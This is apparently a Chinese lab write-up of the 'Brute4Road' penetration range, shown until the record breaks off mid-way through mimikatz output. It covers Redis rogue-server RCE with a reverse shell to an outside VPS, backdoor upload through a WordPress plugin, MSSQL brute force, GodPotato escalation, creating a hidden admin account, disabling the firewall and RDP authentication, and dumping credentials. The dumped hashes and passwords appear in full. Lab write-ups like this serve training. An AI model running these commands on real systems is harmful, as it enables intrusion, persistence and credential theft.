春秋云镜-Brute4Road
|
内网渗透
|
|
0
|
R1ft
|
105

2668 字
|
1.2 小时
image-20260401163247170

第一台（39.99.242.132/172.22.2.7 ）

fscna扫，扫出redis未授权访问，还有ftp匿名登陆

./fscan_mac_arm64 -h 39.99.242.132
image-20260401170514266
[+] ftp 39.99.242.132:21:anonymous 
   [->]pub
[+] Redis 39.99.242.132:6379 unauthorized file:/usr/local/redis/db/dump.rdb

ftp

ftpl连上去 ，发现pub目录是空的，没东西

ftp 39.99.242.132
image-20260401170649581

ftp常用命令

ls                # 查看当前目录
cd pub             # 进入 pub 目录
ls -la             # 查看 pub 下内容
get 文件名         # 下载文件
binary             # 如果是二进制文件，先切换模式
mget *             # 下载所有文件

redis主从复制

连一下客户端看版本号，5.0.12可以打主从复制 

redis-cli  -h 39.99.242.132 -p 6379
info server  #查看客户端版本号
image-20260401170724133

脚本如下：https://github.com/n0b0dyCN/redis-rogue-server

python3 redis-rogue-server.py --rhost 39.99.242.132 --rport 6379 --lhost 8.148.247.172 --lport 5566 --exp exp.so

选项r是反弹shell，填入要弹回的ip和端口

image-20260401171247135

监听

nc -lvvp 5566

只是普通权限redis

image-20260401171335134

用python开启一个标准化的shell看起来舒服点

python -c 'import pty;pty.spawn("/bin/bash")'
image-20260401171451687

找flag，用find命令

# 查找当前目录及子目录下所有包含 "flag" 的文件名
find . -name "*flag*"

# 忽略大小写查找
find . -iname "*flag*"

# 查找根目录下所有 flag 相关文件（可能需要 sudo）
sudo find / -name "*flag*" 2>/dev/null
image-20260401171629885

flag在这

/home/redis/flag

没有权限读flag01

image-20260401171743805

find提权

find提权，找到谁有root权限，且可以附加参数执行命令

find / -user root -perm -4000 -print 2>/dev/null

base64有root权限，可以用他读base64加解密的flag

image-20260401171929048
base64 '/home/redis/flag/flag01' | base64 --decode  把flag加密再解密得到
image-20260401172058986
flag{dda8b44e-873b-4b1f-923d-2b8598d56c3f}

查看机器架构

uname -a 查linux的
systeminfo 查windows的

机器是linux x86_64 ，64 位 Intel/AMD

image-20260401172334050

ifconfig 和ip 都没有，

image-20260401172638036
hostname -I 查看内网网卡
image-20260401173020156

或者通过

cat /proc/net/fib_trie | grep -B 1 "host LOCAL" | grep -v "host LOCAL"
image-20260401173141820

内网信息收集

通过wget下我vpns的工具

wget http://8.148.247.172:8000/fscan_linux_amd

fscan扫内网

./fscan_linux_amd -h 172.22.2.7/24
[redis@centos-web01 tmp]$ ./fscan_linux_amd -h 172.22.2.7/24
./fscan_linux_amd -h 172.22.2.7/24

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.2.7      is alive
(icmp) Target 172.22.2.18     is alive
(icmp) Target 172.22.2.16     is alive
(icmp) Target 172.22.2.34     is alive
(icmp) Target 172.22.2.3      is alive
[*] Icmp alive hosts len is: 5
172.22.2.7:6379 open
172.22.2.16:1433 open
172.22.2.3:445 open
172.22.2.34:445 open
172.22.2.16:445 open
172.22.2.18:445 open
172.22.2.3:139 open
172.22.2.34:139 open
172.22.2.16:139 open
172.22.2.34:135 open
172.22.2.3:135 open
172.22.2.18:139 open
172.22.2.16:135 open
172.22.2.16:80 open
172.22.2.18:80 open
172.22.2.18:22 open
172.22.2.7:80 open
172.22.2.7:22 open
172.22.2.7:21 open
172.22.2.3:88 open
[*] alive ports len is: 20
start vulscan
[*] NetInfo 
[*]172.22.2.3
   [->]DC #主机名（或者说计算机名）
   [->]172.22.2.3
[*] NetBios 172.22.2.34     XIAORANG\CLIENT01 （计算机名为CLIENT01）     
[*] NetInfo 
[*]172.22.2.16
   [->]MSSQLSERVER
   [->]172.22.2.16
[*] WebTitle http://172.22.2.7         code:200 len:4833   title:Welcome to CentOS
[*] NetInfo 
[*]172.22.2.34
   [->]CLIENT01
   [->]172.22.2.34
[*] WebTitle http://172.22.2.16        code:404 len:315    title:Not Found
[*] OsInfo 172.22.2.3   (Windows Server 2016 Datacenter 14393)
[*] NetBios 172.22.2.18     WORKGROUP\UBUNTU-WEB02        
[*] OsInfo 172.22.2.16  (Windows Server 2016 Datacenter 14393)
[*] NetBios 172.22.2.3      [+] DC:DC.xiaorang.lab               Windows Server 2016 Datacenter 14393
[*] NetBios 172.22.2.16     MSSQLSERVER.xiaorang.lab            Windows Server 2016 Datacenter 14393
[+] ftp 172.22.2.7:21:anonymous 
   [->]pub
[*] WebTitle http://172.22.2.18        code:200 len:57738  title:又一个WordPress站点

fscan 输出的 NetBios 行，区分点在于 反斜杠 \ 前面的部分

格式一：工作组名\主机名 —— 工作组环境

格式二：域名\主机名 —— 域环境

重要知识点

172.22.2.3:88端口：Kerberos 认证（常见于域控）
6379：Redis 数据库
172.22.2.16:1433端口：SQL Server 数据库
172.22.2.18:445端口：SMB 文件共享
139：NetBIOS 会话服务
135：RPC 服务
21：FTP 文件传输
22：SSH 远程管理
[*] NetInfo 
[*]172.22.2.3
   [->]DC #主机名为 DC
   [->]172.22.2.3
   
[*] NetBios 172.22.2.3      [+] DC:DC.xiaorang.lab               Windows Server 2016 Datacenter 14393
#域名为 DC.xiaorang.lab，进一步确认该主机是 xiaorang.lab 域的域控。DC是该主机名，xiaorang.lab是所在域的域名

[*] NetBios 172.22.2.34     XIAORANG\CLIENT01
#主机名为 CLIENT01，属于 XIAORANG 域或工作组

[*] NetInfo 
[*]172.22.2.16
   [->]MSSQLSERVER  #主机名为 MSSQLSERVER
   [->]172.22.2.16
   
[*] NetBios 172.22.2.16     MSSQLSERVER.xiaorang.lab            Windows Server 2016 Datacenter 14393
#计算机全名（FQDN）： MSSQLSERVER.xiaorang.lab，确认该主机是域xiaorang.lab中的一台 SQL Server 服务器

[*] NetBios 172.22.2.18     WORKGROUP\UBUNTU-WEB02
#主机名为 UBUNTU-WEB02，属于 WORKGROUP（工作组，非域环境）
image-20260402131029046

这里我们概况一下我们要打的目标

172.22.2.3 DC
172.22.2.7  本机 
172.22.2.16 MSSQLSERVER
172.22.2.18  WordPress站点
172.22.2.34  XIAORANG\CLIENT01

wget个stowaway agent 搭建隧道

wget http://8.148.247.172:8000/linux_x64_agent

vps服务器当admin端

让本地kali走我vps的代理

sudo vim /etc/proxychains4.conf
image-20260401175500161
proxychains4 curl http://172.22.2.7

能通内网网卡

image-20260401175622412

第二台机器（172.22.2.18）

wordpress插件文件上传

proxychains4 wpscan --url http://172.22.2.18/
image-20260401180016281

wordpress插件洞

工具连接https://github.com/biulove0x/CVE-2021-25003

proxychains4 python3 WpCargo.py -t http://172.22.2.18/
image-20260401181140817

传了后门上去

image-20260401183407276

wp-config.php数据库密码

开始翻文件

wp-config.php找到数据库的用户名和密码

刚好我们

image-20260401183545908
define( 'DB_NAME', 'wordpress' );

/** Database username */
define( 'DB_USER', 'wpuser' );

/** Database password */
define( 'DB_PASSWORD', 'WpuserEha8Fgj9' );

/** Database hostname */
define( 'DB_HOST', '127.0.0.1' );

/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
image-20260401183745931
image-20260401183843422

拿到flag2

image-20260401183937045
flag{c757e423-eb44-459c-9c63-7625009910d8}

翻数据库文件，发现有提示，而且给了个密码本

image-20260401193310198

结合上面的信息收集，有可能是这个mssql主机的密码字典

172.22.2.16 MSSQLSERVER

这里要注意要把select的limit去掉,就是全部导出密码.

image-20260401195614180

第三台（172.22.2.16域成员mssql）

mssql密码爆破

拿fscan爆16这个主机的mssql密码

./fscan_mac_arm64 -h 172.22.2.16 -m mssql -pwdf pwd.txt
image-20260401200220009
[+] mssql 172.22.2.16:1433:sa  ElGNkOiC

当然还可以指定用户列表

./fscan_mac_arm64 -h 172.22.2.16 -m mssql -pwdf pwd.txt -userf user.txt

mdut连接

image-20260401202302198
image-20260401202336489

Windows 64位的机器

image-20260401202534966

编码问题可以切换编码

image-20260401205839189

certutil下载

使用certutil从172.22.2.18这个靶机的web网站下东西

certutil -urlcache -split -f http:ip

当然，mdut也有文件上传的功能，右键文件上传

image-20260401203828116

当然先得激活组件

image-20260401204021144

GodPotato提权

找个有权限的目录上传，god土豆提权

C:/Users/Public/GodPotato -cmd "cmd /c whoami"
image-20260401204748052

添加rdp用户

添加个管理员用户，开启远程服务，连接进去把它关掉
net user hacks 1qaz@WSX /add #创建新用户 
net localgroup administrators hacks /add  #将用户添加到管理员组
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f   #开启远程桌面（RDP）
netsh firewall set opmode disable #关闭防火墙
或者netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

反引号转义

但是我土豆命令执行也有引号，所以我可以这样转义

C:/Users/Public/GodPotato -cmd "cmd /c REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal\" \"Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f"

依次到mdut上执行

C:/Users/Public/GodPotato -cmd "cmd /c net user hacks 1qaz@WSX /add" 
C:/Users/Public/GodPotato -cmd "cmd /c net localgroup administrators hacks /add" 
C:/Users/Public/GodPotato -cmd "cmd /c REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal\" \"Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f"
C:/Users/Public/GodPotato -cmd "cmd /c netsh firewall set opmode disable" 

或者
C:/Users/Public/GodPotato -cmd "cmd /c netsh advfirewall firewall add rule name=\"Remote Desktop\" protocol=TCP dir=in localport=3389 action=allow"

关闭rdp鉴权模式

特别要注意一下，有时候，仅开启了远程桌面还不行，在连接时可能出现报错：

就需要关闭鉴权模式，我们采用如下命令，这里0代表关闭，1代表开启：

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 #即取消 “仅允许运行使用网络界别身份验证的远程桌面的计算机连接” 这一安全设置

rdp连接上去拿到flag

image-20260401211923483

其实也可以mdut里找flag，不过sql server这台机器是域内用户，我最好rdp上去，进行域渗透

flag查找命令

按文件名查找flag

# 查找当前目录及子目录
dir /s flag*

# 全局查找（从 C 盘根目录开始）
dir /s C:\flag*

# 查找所有包含 flag 的文件名（不区分大小写）
dir /s /b *flag* 2>nul

按文件内容查找

# 使用 findstr 搜索文件内容
findstr /s /i "flag" C:\*.txt 2>nul

# 搜索常见扩展名
findstr /s /i "flag" C:\*.txt C:\*.php C:\*.asp C:\*.aspx 2>nul
image-20260401212244459
image-20260401212435345

systeminfo发现自己在域中

 xiaorang.lab

第四台（172.22.2.3 DC）

image-20260401214639858

mimikatz读域用户哈希

管理员权限运行mimikatz

image-20260401214425981

上传minikatz到MSSQLSERVER服务所在靶机，读取域用户哈希

mimikatz.exe
privilege::debug #获取SeDebugPrivilege权限
sekurlsa::logonpasswords  #从LSASS进程的内存中读取当前系统中所有已登录用户的明文密码、NTLM哈希、Kerberos票据等
C:\Users\Administrator\flag\x64>mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 35122461 (00000000:0217ed1d)
Session           : RemoteInteractive from 2
User Name         : hacks
Domain            : MSSQLSERVER
Logon Server      : MSSQLSERVER
Logon Time        : 2026/4/1 21:17:16
SID               : S-1-5-21-1403470932-1755135066-2609122076-1027
        msv :
         [00000003] Primary
         * Username : hacks
         * Domain   : MSSQLSERVER
         * NTLM     : 161cff084477fe596a5db81874498a24
         * SHA1     : d669f3bccf14bf77d64667ec65aae32d2d10039d
        tspkg :
        wdigest :
         * Username : hacks
         * Domain   : MSSQLSERVER
         * Password : (null)
        kerberos :
         * Username : hacks
         * Domain   : MSSQLSERVER
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 35089819 (00000000:02176d9b)
Session           : Interactive from 2
User Name         : DWM-2
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2026/4/1 21:17:15
SID               : S-1-5-90-0-2
        msv :
         [00000003] Primary
         * Username : MSSQLSERVER$
         * Domain   : XIAORANG
         * NTLM     : a38f532b3c2582327f93c4a30a615dda
         * SHA1     : 7b7f571467ce0729d5171abfe745d296466b2554
        tspkg :
        wdigest :
         * Username : MSSQLSERVER$
         * Domain   : XIAORANG
         * Password : (null)
        kerberos :
         * Username : MSSQLSERVER$
         * Domain   : xiaorang.lab
         * Password : f7 7a 9a 44 31 ca 2f 31 46 2b bb 9d 80 da 88 37 31 af bd 01 0e dc 63 c0 59 9f 49 bc 8c 19 de ed e8 8c d3 3b 96 20 72 01 3f ef 5b 17 5e 69 98 3b 15 7a 91 cd 06 05 9c fe 71 7b 05 a7 a5 89 34 6e 55 ed 7f 3c 89 af 85 ce ac c1 a6 02 54 cb 21 ef de fb f8 a9 0e 3b d0 a7 52 e9 ed 34 90 f4 b9 dc 38 f9 20 6e c6 0c 33 25 cf 31 fc 20 1f 12 3d a5 ed b3 6d 92 af a5 e1 e0 1e c2 c2 82 5a f3 ff 1f 7b 5b 8b e2 87 db a1 b3 b8 16 1a 59 c3 fd df 32 07 1c 37 0f 54 bf 78 6f f8 04 42 4f 30 d9 ca 2e fa 23 ab 0f 60 8f ab ac 75 3f cc 72 ce e9 d2 96 6e cc 27 60 dc d5 68 3e 07 9f 20 56 9e 0b 11 f0 4c d6 89 4c 12 51 ad 58 65 15 17 60 98 46 a7 27 bf 2c 63 4c d2 12 82 24 26 e3 19 6f 3a b2 6c 30 01 68 38 29 19 a7 69 7c d3 f2 ac 31 f6 df a1 53
        ssp :
        credman :

Authentication Id : 0 ; 268961 (00000000:00041aa1)
Session           : Interactive from 1
User Name         : William
Domain            : XIAORANG
Logon Server      : DC
Logon Time        : 2026/4/1 17:01:04
SID               : S-1-5-21-2704639352-1689326099-2164665914-1106
        msv :
         [00000003] Primary
         * Username : William
         * Domain   : XIAORANG
         * NTLM     : 8853911fd59e8d0a82176e085a2157de
         * SHA1     : e4fd18cfd47b9a77836c82283fb560e6f465bc40
         * DPAPI    : da3fc187c1ff105853ec62c10cddd26b
        tspkg :
        wdigest :
         * Username : William
         * Domain   : XIAORANG
         * Password : (null)
        kerberos :
         * Username : William
         * Domain   : XIAORANG.LAB
         * Password : Willg1UoO6Jt
        ssp :
        credman :

Authentication Id : 0 ; 215309 (00000000:0003490d)
Session           : Interactive from 0
User Name         : MSSQLSERVER19
Domain            : MSSQLSERVER
Logon Server      : MSSQLSERVER
Logon Time        : 2026/4/1 17:01:01
SID               : S-1-5-21-1403470932-1755135066-2609122076-1022
        msv :
         [00000003] Primary
         * Username : MSSQLSERVER19
         * Domain   : MSSQLSERVER
         * NTLM     : 9ce3bb5769303e1258f792792310e33b
         * SHA1     : 1a2452c461d89c45f199454f59771f17423e72f9
        tspkg :
        wdigest :
         * Username : MSSQLSERVER19
         * Domain   : MSSQLSERVER
         * Password : (null)
        kerberos :
         * Username : MSSQLSERVER19
         * Domain   : MSSQLSERVER
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 215064 (00000000:00034818)
Session           : Interactive from 0
User Name         : MSSQLSERVER16
Domain            : MSSQLSERVER
Logon Server      : MSSQLSERVER
Logon Time        : 2026/4/1 17:01:01
SID               : S-1-5-21-1403470932-1755135066-2609122076-1019
        msv :
         [00000003] Primary
         * Username : MSSQLSERVER16
         * Domain   : MSSQLSERVER
         * NTLM     : 42c0eed1872923f6b60118d9711282a6
         * SHA1     : dcf14b63c01e9d5a9d4d9c25d1b2eb6c65c2e3a6
        tspkg :
        wdigest :
         * Username : MSSQLSERVER16
         * Domain   : MSSQLSERVER
         * Password : (null)
        kerberos :
         * Username : MSSQLSERVER16
         * Domain   : MSSQLSERVER
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 214819 (00000000:00034723)
Session           : Interactive from 0
User Name         : MSSQLSERVER13
Domain            : MSSQLSERVER
Logon Server      : MSSQLSERVER
Logon Time        : 2026/4/1 17:01:01
SID               : S-1-5-21-1403470932-1755135066-2609122076-1016
        msv :
         [00000003] Primary
         * Username : MSSQLSERVER13
         * Domain   : MSSQLSERVER
         * NTLM     : b808e9a53247721e84cc314c870080c5
         * SHA1     : 47a42f4a6eed2b2d90f342416f42e2696052f546
        tspkg :
        wdigest :
         * Username : MSSQLSERVER13
         * Domain   : MSSQLSERVER
         * Password : (null)
        kerberos :
         * Username : MSSQLSERVER13
         * Domain   : MSSQLSERVER
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 214574 (00000000:0003462e)
Session           : Interactive from 0
User Name         : MSSQLSERVER10
Domain            : MSSQLSERVER
Logon Server      : MSSQLSERVER
Logon Time        : 2026/4/1 17:01:01
SID               : S-1-5-21-1403470932-1755135066-2609122076-1013
        msv :
         [00000003] Primary
         * Username : MSSQLSERVER10
         * Domain   : MSSQLSERVER
         * NTLM     : c3e7aa593081ae1b210547da7d46819b
         * SHA1     : 3bf20cfece021438cf86617f5cabc5e7a69038f7
        tspkg :
        wdigest :
         * Username : MSSQLSERVER10
         * Domain   : MSSQLSERVER
         * Password : (null)
        kerberos :
         * Username : MSSQLSERVER10
         * Domain   : MSSQLSERVER
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 214493 (00000000:000345dd)
Session           : Interactive from 0
User Name         : MSSQLSERVER09
Domain            : MSSQLSERVER
Logon Server      : MSSQLSERVER
Logon Time        : 2026/4/1 17:01:01
SID               : S-1-5-21-1403470932-1755135066-2609122076-1012
        msv :
         [00000003] Primary
         * Username : MSSQLSERVER09
         * Domain   : MSSQLSERVER
         * NTLM     : 2dd7fe93426175a9ff3fa928bcf0eb77
         * SHA1     : a34c0482568fc9329f33ccdc1852fab9ef65bcd1
        tspkg :
        wdigest :
         * Username : MSSQLSERVER09
         * Domain   : MSSQLSERVER
         * Password : (null)
        kerberos :
         * Username : MSSQLSERVER09
         * Domain   : MSSQLSERVER
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 214411 (00000000:0003458b)
Session           : Interactive from 0
User Name         : MSSQLSERVER08
Domain            : MSSQLSERVER
Logon Server      : MSSQLSERVER
Logon Time        : 2026/4/1 17:01:01
SID               : S-1-5-21-1403470932-1755135066-2609122076-1011
        msv :
         [00000003] Primary
         * Username : MSSQLSERVER08
         * Domain   : MSSQLSERVER
         * NTLM     : 465034ebde60dfae889c3e493e1816bf
         * SHA1     : c96428917f7c8a15ea0370716dee153842afaf02
        tspkg :
        wdigest :
         * Username : MSSQLSERVER08
         * Domain   : MSSQLSERVER
         * Password : (null)
        kerberos :
         * Username : MSSQLSERVER08
         * Domain   : MSSQLSERVER
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 214321 (00000000:00034531)
Session           : Interactive from 0
User Name         : MSSQLSERVER07
Domain            : MSSQLSERVER
Logon Server      : MSSQLSERVER
Logon Time        : 2026/4/1 17:01:01
SID               : S-1-5-21-1403470932-1755135066-2609122076-1010
        msv :
         [00000003] Primary
         * Username : MSSQLSERVER07
         * Domain   : MSSQLSERVER
         * NTLM     : f9f990df1bc869cc205d2513b788a5b8
         * SHA1     : 79746cfe5a2f1eec4350a6b64d87b01455ef9030
        tspkg :
        wdigest :
         * Username : MSSQLSERVER07
         * Domain   : MSSQLSERVER
         * Password : (null)
        kerberos :
         * Username : MSSQLSERVER07
         * Domain   : MSSQLSERVER
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 214240 (00000000:000344e0)
Session           : Interactive from 0
User Name         : MSSQLSERVER06
Domain            : MSSQLSERVER
Logon Server      : MSSQLSERVER
Logon Time        : 2026/4/1 17:01:01
SID               : S-1-5-21-1403470932-1755135066-2609122076-1009
        msv :
         [00000003] Primary
         * Username : MSSQLSERVER06
         * Domain   : MSSQLSERVER
         * NTLM     : aa206c617e2194dd76b766b7e3c92bc6
         * SHA1     : 62dd8046a71c17fe7263bab86b1ca4506f8c373c
        tspkg :
        wdigest :
         * Username : MSSQLSERVER06
         * Domain   : MSSQLSERVER
         * Password : (null)
        kerberos :
         * Username : MSSQLSERVER06
         * Domain   : MSSQLSERVER
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 214158 (00000000:0003448e)
Session           : Interactive from 0
User Name         : MSSQLSERVER05
Domain            : MSSQLSERVER
Logon Server      : MSSQLSERVER
Logon Time        : 2026/4/1 17:01:01
SID               : S-1-5-21-1403470932-1755135066-2609122076-1008
        msv :
         [00000003] Primary
         * Username : MSSQLSERVER05
         * Domain   : MSSQLSERVER
         * NTLM     : b552da4a7f732c40ca73c01dfaea7ebc
         * SHA1     : 7f041a31e763eed45fb881c7f77831b888c3051d
        tspkg :
        wdigest :
         * Username : MSSQLSERVER05
         * Domain   : MSSQLSERVER
         * Password : (null)
        kerberos :
         * Username : MSSQLSERVER05
         * Domain   : MSSQLSERVER
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 214076 (00000000:0003443c)
Session           : Interactive from 0
User Name         : MSSQLSERVER04
Domain            : MSSQLSERVER
Logon Server      : MSSQLSERVER
Logon Time        : 2026/4/1 17:01:01
SID               : S-1-5-21-1403470932-1755135066-2609122076-1007
        msv :
         [00000003] Primary
         * Username : MSSQLSERVER04
         * Domain   : MSSQLSERVER
         * NTLM     : 36bd3cceea3d413e8111b0bef32da84d
         * SHA1     : 414d2c783a3fb2ba855e41c243c583bb0604fe02
        tspkg :
        wdigest :
         * Username : MSSQLSERVER04
         * Domain   : MSSQLSERVER
         * Password : (null)
        kerberos :
         * Username : MSSQLSERVER04
         * Domain   : MSSQLSERVER
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 213995 (00000000:000343eb)
Session           : Interactive from 0
User Name         : MSSQLSERVER03
Domain            : MSSQLSERVER
Logon Server      : MSSQLSERVER
Logon Time        : 2026/4/1 17:01:01
SID               : S-1-5-21-1403470932-1755135066-2609122076-1006
        msv :
         [00000003] Primary
         * Username : MSSQLSERVER03
         * Domain   : MSSQLSERVER
         * NTLM     : 2f7c88f56a7236f476d18ea6b5a2d33a
         * SHA1     : 5bc2d09b8b0f7c11a1fc3fb2f97b713ac116b6eb
        tspkg :
        wdigest :
         * Username : MSSQLSERVER03
         * Domain   : MSSQLSERVER
         * Password : (null)
        kerberos :
         * Username : MSSQLSERVER03
         * Domain   : MSSQLSERVER
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 213913 (00000000:00034399)
Session           : Interactive from 0
User Name         : MSSQLSERVER02
Domain            : MSSQLSERVER
Logon Server      : MSSQLSERVER
Logon Time        : 2026/4/1 17:01:01
SID               : S-1-5-21-1403470932-1755135066-2609122076-1005
        msv :
         [00000003] Primary
         * Username : MSSQLSERVER02
         * Domain   : MSSQLSERVER
         * NTLM     : 3aa518732551a136003ea41f9599a1ec
         * SHA1     : 6f1ed1f677201d998667bd8e3b81cfb52b9a138a
        tspkg :
        wdigest :
         * Username : MSSQLSERVER02
         * Domain   : MSSQLSERVER
         * Password : (null)
        kerberos :
         * Username : MSSQLSERVER02
         * Domain   : MSSQLSERVER
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 90075 (00000000:00015fdb)
Session           : Service from 0
User Name         : MSSQLServerOLAPService
Domain            : NT Service
Logon Server      : (null)
Logon Time        : 2026/4/1 17:00:46
SID               : S-1-5-80-2872255330-672591203-888807865-2791174282-1554802921
        msv :
         [00000003] Primary
         * Username : MSSQLSERVER$
         * Domain   : XIAORANG
         * NTLM     : a38f532b3c2582327f93c4a30a615dda
         * SHA1     : 7b7f571467ce0729d5171abfe745d296466b2554
        tspkg :
        wdigest :
         * Username : MSSQLSERVER$
         * Domain   : XIAORANG
         * Password : (null)
        kerberos :
         * Username : MSSQLSERVER$
         * Domain   : xiaorang.lab
         * Password : f7 7a 9a 44 31 ca 2f 31 46 2b bb 9d 80 da 88 37 31 af bd 01 0e dc 63 c0 59 9f 49 bc 8c 19 de ed e8 8c d3 3b 96 20 72 01 3f ef 5b 17 5e 69 98 3b 15 7a 91 cd 06 05 9c fe 71 7b 05 a7 a5 89 34 6e 55 ed 7f 3c 89 af 85 ce ac c1 a6 02 54 cb 21 ef de fb f8 a9 0e 3b d0 a7 52 e9 ed 34 90 f4 b9 dc 38 f9 20 6e c6 0c 33 25 cf 31 fc 20 1f 12 3d a5 ed b3 6d 92 af a5 e1 e0 1e c2 c2 82 5a f3 ff 1f 7b 5b 8b e2 87 db a1 b3 b8 16 1a 59 c3 fd df 32 07 1c 37 0f 54 bf 78 6f f8 04 42 4f 30 d9 ca 2e fa 23 ab 0f 60 8f ab ac 75 3f cc 72 ce e9 d2 96 6e cc 27 60 dc d5 68 3e 07 9f 20 56 9e 0b 11 f0 4c d6 89 4c 12 51 ad 58 65 15 17 60 98 46 a7 27 bf 2c 63 4c d2 12 82 24 26 e3 19 6f 3a b2 6c 30 01 68 38 29 19 a7 69 7c d3 f2 ac 31 f6 df a1 53
        ssp :
        credman :

Authentication Id : 0 ; 89284 (00000000:00015cc4)
Session           : Service from 0
User Name         : ReportServer
Domain            : NT Service
Logon Server      : (null)
Logon Time        : 2026/4/1 17:00:46
SID               : S-1-5-80-2885764129-887777008-271615777-1616004480-2722851051
        msv :
         [00000003] Primary
         * Username : MSSQLSERVER$
         * Domain   : XIAORANG
         * NTLM     : a38f532b3c2582327f93c4a30a615dda
         * SHA1     : 7b7f571467ce0729d5171abfe745d296466b2554
        tspkg :
        wdigest :
         * Username : MSSQLSERVER$
         * Domain   : XIAORANG
         * Password : (null)
        kerberos :
         * Username : MSSQLSERVER$
         * Domain   : xiaorang.lab
         * Password : f7 7a 9a 44 31 ca 2f 31 46 2b bb 9d 80 da 88 37 31 af bd 01 0e dc 63 c0 59 9f 49 bc 8c 19 de ed e8 8c d3 3b 96 20 72 01 3f ef 5b 17 5e 69 98 3b 15 7a 91 cd 06 05 9c fe 71 7b 05 a7 a5 89 34 6e 55 ed 7f 3c 89 af 85 ce ac c1 a6 02 54 cb 21 ef de fb f8 a9 0e 3b d0 a7 52 e9 ed 34 90 f4 b9 dc 38 f9 20 6e c6 0c 33 25 cf 31 fc 20 1f 12 3d a5 ed b3 6d 92 af a5 e1 e0 1e c2 c2 82 5a f3 ff 1f 7b 5b 8b e2 87 db a1 b3 b8 16 1a 59 c3 fd df 32 07 1c 37 0f 54 bf 78 6f f8 04 42 4f 30 d9 ca 2e fa 23 ab 0f 60 8f ab ac 75 3f cc 72 ce e9 d2 96 6e cc 27 60 dc d5 68 3e 07 9f 20 56 9e 0b 11 f0 4c d6 89 4c 12 51 ad 58 65 15 17 60 98 46 a7 27 bf 2c 63 4c d2 12 82 24 26 e3 19 6f 3a b2 6c 30 01 68 38 29 19 a7 69 7c d3 f2 ac 31 f6 df a1 53
        ssp :
        credman :

Authentication Id : 0 ; 67306 (00000000:000106ea)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2026/4/1 17:00:45
SID               : S-1-5-90-0-1
        msv :
         [00000003] Primary
         * Username : MSSQLSERVER$
         * Domain   : XIAORANG
         * NTLM     : cea3e66a2715c71423e7d3f0ff6cd352
         * SHA1     : 6de4e8f192569bbc44ae94f273870635ae878094
        tspkg :
        wdigest :
         * Username : MSSQLSERVER$
         * Domain   : XIAORANG
         * Password : (null)
        kerberos :
         * Username : MSSQLSERVER$
         * Domain   : xiaorang.lab
         * Password : (p4Spnv`&9xTZ=D'D/lz[a:94O:$E!7&zfcMza9k;Se"&>cBCBU0bxw.xL"B>\GmtUT,<:q3Yxfq#`O3sLI;OK" (_T_T5- $zV]-i;)c$qIj&$RgttdZI"m
        ssp :
        credman :

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : MSSQLSERVER$
Domain            : XIAORANG
Logon Server      : (null)
Logon Time        : 2026/4/1 17:00:45
SID               : S-1-5-20
        msv :
         [00000003] Primary
         * Username : MSSQLSERVER$
         * Domain   : XIAORANG
         * NTLM     : a38f532b3c2582327f93c4a30a615dda
         * SHA1     : 7b7f571467ce0729d5171abfe745d296466b2554
        tspkg :
        wdigest :
         * Username : MSSQLSERVER$
         * Domain   : XIAORANG
         * Password : (null)
        kerberos :
         * Username : mssqlserver$
         * Domain   : XIAORANG.LAB
